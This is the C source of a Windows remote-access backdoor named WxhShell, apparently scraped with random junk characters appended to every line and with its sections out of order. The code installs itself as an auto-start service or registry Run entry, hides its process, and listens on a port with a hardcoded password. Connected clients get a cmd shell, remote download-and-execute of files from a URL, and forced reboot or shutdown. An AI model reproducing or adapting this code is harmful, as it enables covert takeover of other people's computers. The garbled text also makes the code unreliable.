    ExitThread(0); URQ@=W7  
    } *(Ro;?O,pi  
    break; 7_%2xewV|  
    } LD_M 3 P  
  // 关机 {2 EMz|&8  
  case 'd': { o3\,gzJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n.ct]+L  
    if(Boot(SHUTDOWN)) Z /h|\SyJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sUV>@UMnu  
    else { 0 Z8/R  
    closesocket(wsh); )cKjiXn  
    ExitThread(0); }DHUTP2;yz  
    } y@aKNWy}$  
    break; O4!9{  
    } xEC 2@J  
  // 获取shell $P;UoqG<&  
  case 's': { Man^<T%F  
    CmdShell(wsh);  J `x}{K  
    closesocket(wsh); !t% Q{`p  
    ExitThread(0); fp tIc#4  
    break; wHWma)}-z  
  } tUv3jq)n%  
  // 退出 2qXo{C3  
  case 'x': { 4|=vxJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;AJ< LC  
    CloseIt(wsh); `@MPkC y1  
    break; T5q-" W6\  
    } r,"7%1I  
  // 离开 :$2Yg[Zc3  
  case 'q': { K( z[ }  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MH FaSl  
    closesocket(wsh); 3sb 5E]P  
    WSACleanup(); vzcz<i )  
    exit(1); l1DI*0@  
    break; J?,?fqb  
        } k:mlt:  
  } ]LVnt-q  
  } {(!)P  
kF?S 2(vH  
  // 提示信息 3>M.]w6{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SBz/VQ  
} >>j+LRf*  
  } i pwW%"6  
qw2)v*Fn  
  return; XECikld>  
} #@E(<Pu4`  
6i-*N[!U  
// shell模块句柄 )WmZP3$^TX  
int CmdShell(SOCKET sock) 1\IZcJ {  
{ {6:& %V  
STARTUPINFO si; 3; A$<s  
ZeroMemory(&si,sizeof(si)); |,{+;:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8m|x#*5fQl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %z2oDAjX  
PROCESS_INFORMATION ProcessInfo; RQ|?Ce",  
char cmdline[]="cmd"; 6&mWIk^VC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8yvJ`eL-  
  return 0; 0$l&i=L  
} "vsjen.K>  
V(DjF=8  
// 自身启动模式 ,6RQvw  
int StartFromService(void) !]G jIT]Oh  
{ /cYk+c  
typedef struct NN11}E6  
{ GZS{&w!  
  DWORD ExitStatus; ey*,StT5a  
  DWORD PebBaseAddress; 77tZp @>hn  
  DWORD AffinityMask; ]`K[W&  
  DWORD BasePriority; j C9<hLt  
  ULONG UniqueProcessId; %]!?{U\*k  
  ULONG InheritedFromUniqueProcessId; /3s@6Ex}E  
}   PROCESS_BASIC_INFORMATION; %; qY  '+  
@BXaA0F4  
PROCNTQSIP NtQueryInformationProcess; Kn. iyR  
m EFWo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )Yrr%f`\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }^Z< dbt  
t:disL& !E  
  HANDLE             hProcess; 6kC)\ uy  
  PROCESS_BASIC_INFORMATION pbi; gsi<S6DQ8  
A>5S]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;2BPPZ  
  if(NULL == hInst ) return 0; f)WPOTEY  
pRmEryR(U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r &=r/k2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WFXx70n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ${e -ffyy  
ijg,'a~3E  
  if (!NtQueryInformationProcess) return 0; w2' 3S#nZ  
/lru"R D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x7Eeb!s0f,  
  if(!hProcess) return 0; S;BP`g<l=  
IG>>j}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^T=5zqRD  
bnIf}ut-G  
  CloseHandle(hProcess); ,znL,%s  
gl Li  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); > d^r">!,  
if(hProcess==NULL) return 0; RBPYG u'6B  
c'S M>7L  
HMODULE hMod; \/pVcR  
char procName[255]; E|\3f(aF  
unsigned long cbNeeded; V` U/'N-ay  
*SWv*sD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eUYG96Jw  
4U:DJ_GN  
  CloseHandle(hProcess); h@ EJTAi  
<x^IwS  
if(strstr(procName,"services")) return 1; // 以服务启动 p {w}  
N{|[R   
  return 0; // 注册表启动 g\E ._ab<  
} f.sPE8 #3=  
0GF%~6  
// 主模块 P~;<o! f  
int StartWxhshell(LPSTR lpCmdLine) A=y24m  
{ e$gaE</  
  SOCKET wsl; UqY J#&MqY  
BOOL val=TRUE; ]rKH|i  
  int port=0; CdE2w?1  
  struct sockaddr_in door; [qq`cT@  
dV'6m@C  
  if(wscfg.ws_autoins) Install(); L>eQ*311  
l@ (t^68OD  
port=atoi(lpCmdLine); Z(#XFXd  
34HFrMi  
if(port<=0) port=wscfg.ws_port; X}kVBT1w+x  
<1v{[F_  
  WSADATA data; 'Wd3`4V$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ikeJDKSG  
X+fu hcn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K%o6hBlk_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T "ZQPLg  
  door.sin_family = AF_INET; @DRfNJ}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \3,$YlG  
  door.sin_port = htons(port); 3XMBu*  
\;4L~_2$q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -<u- +CbuT  
closesocket(wsl); Z1 E` I89<  
return 1; Q3'(f9 x  
} 1v+JCOy  
"'Q$.sR  
  if(listen(wsl,2) == INVALID_SOCKET) { g9RzzE!  
closesocket(wsl); Djg 1Qh  
return 1; |E>v~qD8I  
} e-YGuWGN7  
  Wxhshell(wsl); P TfN+  
  WSACleanup(); e<&_tx   
? Yynd  
return 0; /r #b  
7R% PVgS4x  
} $sB48LJuU'  
My`josJ`Pb  
// 以NT服务方式启动 iPR!JX _  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :Q0?ub]  
{ (Q*2dd>  
DWORD   status = 0; LbLbJ{68  
  DWORD   specificError = 0xfffffff; TW;|G'}$  
`Pz!SJ|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5p N08+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'US8"83  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )of5229  
  serviceStatus.dwWin32ExitCode     = 0; eHfG;NsV /  
  serviceStatus.dwServiceSpecificExitCode = 0; G FSlYG  
  serviceStatus.dwCheckPoint       = 0; VuYWb)@  
  serviceStatus.dwWaitHint       = 0; ^H@!)+ =  
oi%5t)VsS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0%(4G83gw  
  if (hServiceStatusHandle==0) return; P"[ifs p  
)j)y5_m  
status = GetLastError(); j};pv2  
  if (status!=NO_ERROR) >vNk kxWyQ  
{ 8VBkIYgb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v)v{QNQp^  
    serviceStatus.dwCheckPoint       = 0; a!SR"3 k  
    serviceStatus.dwWaitHint       = 0; KBUAdpU8  
    serviceStatus.dwWin32ExitCode     = status; QBN=l\m+  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0e7O#-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  h;:Se  
    return; g(z#h$@S  
  } Q}k_#w  
MfZ}xu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V@54k*V  
  serviceStatus.dwCheckPoint       = 0; vh:UXE lm  
  serviceStatus.dwWaitHint       = 0; pU'`9f Li_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uj+.L6S  
} wUZ(Tin  
&j wnM  
// 处理NT服务事件,比如:启动、停止 *;ZW=%M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~]i]kU   
{ 3>:zo:;  
switch(fdwControl) 'w |s*5  
{ ,i$(yx?  
case SERVICE_CONTROL_STOP: )KTWLr;  
  serviceStatus.dwWin32ExitCode = 0; i85+p2i7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (pRy1DH~  
  serviceStatus.dwCheckPoint   = 0; Rzn0-cG  
  serviceStatus.dwWaitHint     = 0; 8gu7f;H/k  
  { #7cf 8y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F(J!dG5#  
  } '6Z/-V4k  
  return; Xbsj:Ko]]U  
case SERVICE_CONTROL_PAUSE: @zq\z$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S3JygN*  
  break; dKN3ZCw*gF  
case SERVICE_CONTROL_CONTINUE: TnZc.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l,FG:"`Z@  
  break; SjNwT[.nr7  
case SERVICE_CONTROL_INTERROGATE: G+ \~rl  
  break; !]jNVg  
}; * zJiii  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M%Kx{*aw&  
} 'piF_5(@  
B2Awdw3=g  
// 标准应用程序主函数 S|u1QGB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  zxynEdO  
{ xVwi }jtG|  
j{Qbzczy,  
// 获取操作系统版本 &&QDEDszp  
OsIsNt=GetOsVer(); hnfrnYH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QeOt; {_|  
3vvFF]D5k  
  // 从命令行安装 "351s3ff  
  if(strpbrk(lpCmdLine,"iI")) Install(); 80l3.z,:  
 vCH v  
  // 下载执行文件 s"^YW+HMb  
if(wscfg.ws_downexe) { qT-nD}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yrv SbqR  
  WinExec(wscfg.ws_filenam,SW_HIDE); A5>gLhl7  
} ju2X*  
L^ jC& dF  
if(!OsIsNt) { YQ[&h  
// 如果时win9x,隐藏进程并且设置为注册表启动 9Av- ;!]  
HideProc(); 5IF~]5s  
StartWxhshell(lpCmdLine); BX)cV  
} W~@GK  
else %_X[{(  
  if(StartFromService()) =w>>7u$4  
  // 以服务方式启动 4@V<Suw  
  StartServiceCtrlDispatcher(DispatchTable); B #V 4  
else )*QTxN  
  // 普通方式启动  "lnk  
  StartWxhshell(lpCmdLine); + 1%^c(3  
=jd=Qs IL  
return 0; q'8@0FT0  
} rQQPs\o  
^ {]sD}Q"  
HuLm!tCu  
fB ,!|u  
=========================================== MAhPO!e5.  
6s"bstc{  
@BQB NGR1  
JMe[ .S x  
fm2Mi~}0  
:aFpz6<  
" p-03V"^&  
!v;_@iW3e  
#include <stdio.h> +H^V},dBp!  
#include <string.h> qFsg&<  
#include <windows.h> o4 OEA)k)=  
#include <winsock2.h> Chi<)P$^  
#include <winsvc.h> kk7: A0._  
#include <urlmon.h> ~X(xa  
w!9WCl]9M  
#pragma comment (lib, "Ws2_32.lib") k^%ec3l  
#pragma comment (lib, "urlmon.lib") xTawG?"D  
>yHnz?bf@  
#define MAX_USER   100 // 最大客户端连接数 !?-5 hh1\  
#define BUF_SOCK   200 // sock buffer r#Oz0=0u  
#define KEY_BUFF   255 // 输入 buffer DO,&Foh\  
S/:QVs  
#define REBOOT     0   // 重启 e ~,'|~ C5  
#define SHUTDOWN   1   // 关机  eJ\j{-  
`j"G=%e3.  
#define DEF_PORT   5000 // 监听端口 59J$SE  
umn~hb5O  
#define REG_LEN     16   // 注册表键长度 9TN5|x  
#define SVC_LEN     80   // NT服务名长度 ML"P"&~u6  
f?I *`~k  
// 从dll定义API %L|bF"K5;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WMl^XZO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /Gv$1t^a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DczF0Ow  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tNf" X !  
A =#-u&l  
// wxhshell配置信息 ?{P6AF-xcf  
struct WSCFG { KcF+!;:  
  int ws_port;         // 监听端口 Q3{&'|}^2  
  char ws_passstr[REG_LEN]; // 口令 e(% Solkm?  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1Moh`  
  char ws_regname[REG_LEN]; // 注册表键名 o-Fle, qf  
  char ws_svcname[REG_LEN]; // 服务名 +rO<'H:umJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "LaX_0t)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H 1X]tw.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 54DR.>O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X',0MBQ0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q _|5,_a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2/q=l?  
]<z(Rmn`Q  
}; ffd 3QQ  
]c=1-Rl  
// default Wxhshell configuration v!9Imf  
struct WSCFG wscfg={DEF_PORT, "fJ|DE&@<i  
    "xuhuanlingzhe", &+iW:  
    1, D)Rf  
    "Wxhshell", 0lh6b3tdP  
    "Wxhshell", a-2 {x2O  
            "WxhShell Service", zW`koRH@  
    "Wrsky Windows CmdShell Service", U+M?<4J) "  
    "Please Input Your Password: ", cyeDZ)  
  1, 0\^2HjsJ  
  "http://www.wrsky.com/wxhshell.exe", ]Wm ?<7H  
  "Wxhshell.exe" sBI%lrO  
    }; !T(Omve)  
YEoT_>A$dB  
// 消息定义模块 V *y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2,nCGSfc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M:f=JuAx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jc`',o'[+  
char *msg_ws_ext="\n\rExit."; Hxi=\2-  
char *msg_ws_end="\n\rQuit."; Y. tFqzo3  
char *msg_ws_boot="\n\rReboot..."; '+tT$k  
char *msg_ws_poff="\n\rShutdown..."; l;kZS  
char *msg_ws_down="\n\rSave to ";  P;/wb /  
%-|q3 ^s  
char *msg_ws_err="\n\rErr!"; b u9&sQ;  
char *msg_ws_ok="\n\rOK!"; wcT6d?*5  
0J</`/gH  
char ExeFile[MAX_PATH]; B;_3IHMO  
int nUser = 0; $zi\ /Yw  
HANDLE handles[MAX_USER]; #;]F:TlR  
int OsIsNt; 0 d]G  
^ w1R"qE"m  
SERVICE_STATUS       serviceStatus; a/#,Y<kJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UH|.@7w  
BQg]$Tr?  
// 函数声明 gP%!  
int Install(void); @!O{>`  
int Uninstall(void); Z"T(8>c;g  
int DownloadFile(char *sURL, SOCKET wsh); r0bPaAKw  
int Boot(int flag); ~riw7"  
void HideProc(void); 2MeavTr  
int GetOsVer(void);  gOAluP  
int Wxhshell(SOCKET wsl); =(\!,S'  
void TalkWithClient(void *cs); 4=:eGlU93U  
int CmdShell(SOCKET sock); @1Lc`;Wd  
int StartFromService(void); >f8,YisH  
int StartWxhshell(LPSTR lpCmdLine); !2Iwur u  
?\r3 _  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }`FPe   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^SCWT\E  
)zV5KC{{  
// 数据结构和表定义 9%6`ZS~3  
SERVICE_TABLE_ENTRY DispatchTable[] = X  jN.X  
{ Q6>( Z  
{wscfg.ws_svcname, NTServiceMain}, 5 Vqvb|  
{NULL, NULL} Hp AZ{P7  
}; *X=-^\G  
W7"sWaOhW  
// 自我安装 !{;RtUPz*  
int Install(void) e[!>ezaIY  
{ eO G%6C%a  
  char svExeFile[MAX_PATH]; )>p6h]]a  
  HKEY key; >FNt*tX<0  
  strcpy(svExeFile,ExeFile); }iAi`_\0;  
~T9[\nU\  
// 如果是win9x系统,修改注册表设为自启动 $@wkQ%  
if(!OsIsNt) { [_@OCiV5)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `I$A;OPK7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *JXJ 2  
  RegCloseKey(key); pC8i &_A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [Nc  Ok,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pme?`YO$x  
  RegCloseKey(key); 9Z 4R!Q  
  return 0; :g";p.~=  
    } XU7bWafy  
  } >m!.l{*j>N  
} -2_$zk*n  
else { zPYa@0I  
?2;G_P+  
// 如果是NT以上系统,安装为系统服务 )I4tl/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $n"Llw&)  
if (schSCManager!=0) L+L9)8FJ  
{ 06$9Uz9  
  SC_HANDLE schService = CreateService P0=F9`3wb  
  ( {5JXg9um  
  schSCManager, C-Z,L#  
  wscfg.ws_svcname, |?kH]Trr  
  wscfg.ws_svcdisp, i\G3 u#  
  SERVICE_ALL_ACCESS, _T$\$v$ {  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T-TH. R  
  SERVICE_AUTO_START, Le!I-i( aD  
  SERVICE_ERROR_NORMAL, < r~Tj  
  svExeFile, ehq6.+l  
  NULL, }o4Cd$,8  
  NULL,  2Mda'T8  
  NULL, kn\>ZgU  
  NULL, Y')+/<Q2E  
  NULL b'YbHUyu  
  ); M&dtXG8<^  
  if (schService!=0) *gn*S3Is[j  
  { }0G Ab2  
  CloseServiceHandle(schService); -tQ|&fl  
  CloseServiceHandle(schSCManager); 7@?b _  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tDo0Q/`  
  strcat(svExeFile,wscfg.ws_svcname); ;+U9;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~7 Tz Ub  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u+_#qk0NfK  
  RegCloseKey(key); *$!LRmp?  
  return 0; '\Ub*m((1O  
    } d,)L,J  
  } F`u~Jx8.*  
  CloseServiceHandle(schSCManager); y(k2p  
} Kf.b <wP{  
} 6X7_QBC)  
%}[??R0  
return 1; V|)>  
} XvdhPOMy  
7-DC"`Y8e  
// 自我卸载 z0sB*5VH  
int Uninstall(void) FQyiIT6  
{ 1yu!:8=ee  
  HKEY key; %0 4n,&mg  
v|GvN|_|  
if(!OsIsNt) { K^bn4Nr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \w3wh*  
  RegDeleteValue(key,wscfg.ws_regname);  y^Lw7  
  RegCloseKey(key); LsXYvX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >@"j9  
  RegDeleteValue(key,wscfg.ws_regname); !NCT) #G`  
  RegCloseKey(key); 1;W>ceN"  
  return 0; DKZ69^  
  } ARE~jzakg  
} ;Yj}9[p;T  
} TI332,eL  
else { _MU'he^W  
P*SXfb"HC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AZa3!e/1  
if (schSCManager!=0) kBzzi^cl  
{ gT.-Cf{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X$* 'D)  
  if (schService!=0) }/VHeHd  
  { v09f#t$;5  
  if(DeleteService(schService)!=0) { oZ}e w!V  
  CloseServiceHandle(schService); g:Dg?_o  
  CloseServiceHandle(schSCManager); X'c5s~9  
  return 0; luMNi^FQ  
  } VxCH}&!  
  CloseServiceHandle(schService); 9c6=[3)V  
  } ,J|};s+  
  CloseServiceHandle(schSCManager); AOe~VW  
} .\VjS^o&Z&  
}  51j  
_KFKx3<m!  
return 1; ')BQ 0sg  
} 181P;R=}<  
t]x HM  
// 从指定url下载文件 EVf'1^f  
int DownloadFile(char *sURL, SOCKET wsh) ' |Oi#S  
{ k=@Q#=;*[W  
  HRESULT hr; C$bK!]a  
char seps[]= "/"; (\}IOCNS  
char *token; )d(cXN-T  
char *file; (]1 %s?ud*  
char myURL[MAX_PATH]; ^tah4QmUA  
char myFILE[MAX_PATH]; 8<^,<?  
r (uM$R$o  
strcpy(myURL,sURL); ^Z*_@A_v  
  token=strtok(myURL,seps); rnr7t \a~]  
  while(token!=NULL) c|7Pnx%gT  
  { R8 m/N t2  
    file=token; ]HRZ9oP  
  token=strtok(NULL,seps); 6"DvdJ0MB  
  } 0^m02\Li  
O!g> f  
GetCurrentDirectory(MAX_PATH,myFILE); E|>I/!{u7`  
strcat(myFILE, "\\"); +,MzD'(D  
strcat(myFILE, file); "\9@gfsp)  
  send(wsh,myFILE,strlen(myFILE),0); [ACYd/  
send(wsh,"...",3,0); G2Apm`/ y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RwwKPE  
  if(hr==S_OK) T.pPQH__  
return 0; ' 9,}N:p  
else @.})nU  
return 1; 4MM#\  
!-QKh aY  
} Rwr0$_A  
,y0kzwPR1  
// 系统电源模块 ;#;X@BhS  
int Boot(int flag) V><P`  
{ y?rsfIth`  
  HANDLE hToken; +LUL-d  
  TOKEN_PRIVILEGES tkp; 6?_Uow}  
DxYu   
  if(OsIsNt) { WV8<gx`Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @ +7'0[y?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |!}$V  
    tkp.PrivilegeCount = 1; ~7ArH9k .  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xH=&={  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >$?Z&7Lv  
if(flag==REBOOT) { 8ZN J}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MT9a1 >  
  return 0; {5to;\.  
} -B_dE-l,  
else { >fjf] 6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M*}o{E;  
  return 0; A$5T3j'  
} Rl,B !SF  
  } V=YK3){>A  
  else { PY^Yx$t9  
if(flag==REBOOT) { `S!`=26Z!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +Kk6|+5u  
  return 0;  oCduY2  
} B8 2A:t)  
else { FSM~Rl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,^+3AT  
  return 0; o6qQ zk  
} =Xp 3UNXg  
} #[A/zH|xvV  
|m=@;B|  
return 1; 83 S],L  
} iw#luHcJ  
I*#~@:4*  
// win9x进程隐藏模块 sOHh&e  
void HideProc(void) pZH bj2~  
{ $)'{+1  
vOqYt42  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 97 1qr  
  if ( hKernel != NULL ) GxvVh71zP  
  { @}FRiPo6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HloP NE&}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BFMM6-Ve  
    FreeLibrary(hKernel);  V C.r  
  } E J 9A 4B  
%o?fE4o'  
return; v!x=fjr<  
} o$Jk2 7  
/O8'8sL5  
// 获取操作系统版本 ue`F|  
int GetOsVer(void) uU<Yf5  
{ {!-w|&bF  
  OSVERSIONINFO winfo; 6 Fm.^9@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >6aCBS?2  
  GetVersionEx(&winfo); 9 Iw+g]`y*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0[PP -]JS  
  return 1; 9_HEImk  
  else 7ed*dXY*  
  return 0; =B; )h  
} M HgS5b2  
>`6^1j(3  
// 客户端句柄模块  1 ft. ZJ  
int Wxhshell(SOCKET wsl) 5Wn6a$^  
{ i G<|3I  
  SOCKET wsh; js>6Du  
  struct sockaddr_in client; N%^mR>.`  
  DWORD myID;  fBQZ=zh  
r"0nUf*og:  
  while(nUser<MAX_USER) r*WdD/r|  
{ R+^/(Ws'<  
  int nSize=sizeof(client); w("jyvV[C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #|'8O  
  if(wsh==INVALID_SOCKET) return 1; 2[W Qq)\  
K[ylyQ1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C~l5D4D#  
if(handles[nUser]==0) Sm-nb*ZyC  
  closesocket(wsh); s_RYYaM  
else $+?6U  
  nUser++; 7}nOF{RH]  
  } /A_ IS`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9gWQGkql  
)of_"gZ$3A  
  return 0; MT0}MMr  
} b?r0n]  
w| >Y&/IX  
// 关闭 socket /a]+xL  
void CloseIt(SOCKET wsh) 3 \kT#nr  
{ `pLp+#1 `R  
closesocket(wsh); \0b ",|"3  
nUser--; 6k ^vF~  
ExitThread(0); u]zb<)'_  
} 9%)'QDVGLf  
c>]_,Br~  
// 客户端请求句柄 mNV4"lNR  
void TalkWithClient(void *cs) TsR20P@  
{ y{kXd1,  
(2%C% #]8  
  SOCKET wsh=(SOCKET)cs; O *jNeYA  
  char pwd[SVC_LEN]; p4t(xm2T  
  char cmd[KEY_BUFF]; BL]^+KnP  
char chr[1]; S?D2`b  
int i,j; ^%\p; yhL  
RI%* 5lM8;  
  while (nUser < MAX_USER) {  *A_  
A@`C<O ^  
if(wscfg.ws_passstr) { @GGyiK@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~r!jVK>^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8o~\L= l  
  //ZeroMemory(pwd,KEY_BUFF); _msDf2e9  
      i=0; !4 6 ^}3  
  while(i<SVC_LEN) { b#$:XS  
4$_8#w B1&  
  // 设置超时 'o5[ :=K  
  fd_set FdRead; LxMOs Nv  
  struct timeval TimeOut;  gs9f2t  
  FD_ZERO(&FdRead); GF k?Qf{u  
  FD_SET(wsh,&FdRead); !vG._7lPp  
  TimeOut.tv_sec=8; >.B+xn =  
  TimeOut.tv_usec=0; 6.ap^9AD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YP#OI 6u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qHv W{0E  
ph69u #Og  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |rNm_L2  
  pwd=chr[0]; L5U>`lx6$  
  if(chr[0]==0xd || chr[0]==0xa) { bk5~t'  
  pwd=0; sX@e1*YE_  
  break; ujwI4oj"c  
  } "ebn0<cZ  
  i++; F.AO  
    } B[y1RI|9  
'"I"D9;9  
  // 如果是非法用户,关闭 socket O1/!)E!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @^`-VF  
} /ZD/!YD&R  
c-gaK\u}j}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^B5Hjf9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QAX+oy  
1)k))w9  
while(1) { uE/qraA  
g |2D(J  
  ZeroMemory(cmd,KEY_BUFF); #&DJ3(T  
,$CZ (GQ  
      // 自动支持客户端 telnet标准   .%D] z{''  
  j=0; FSH6C2  
  while(j<KEY_BUFF) { sba0Q[IY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s'/ug  
  cmd[j]=chr[0]; 64zO%F*  
  if(chr[0]==0xa || chr[0]==0xd) { zu*h9}  
  cmd[j]=0; d'DS7F(c{  
  break; I |BLAm6j  
  } Ph-3,cC  
  j++; ,/Xxj\i  
    }  E?%k  
'zRd?Z>%  
  // 下载文件 F[ 9IHT6{  
  if(strstr(cmd,"http://")) { SUx\qz)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *6k (xL  
  if(DownloadFile(cmd,wsh)) c?wFEADn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d{DlW |_  
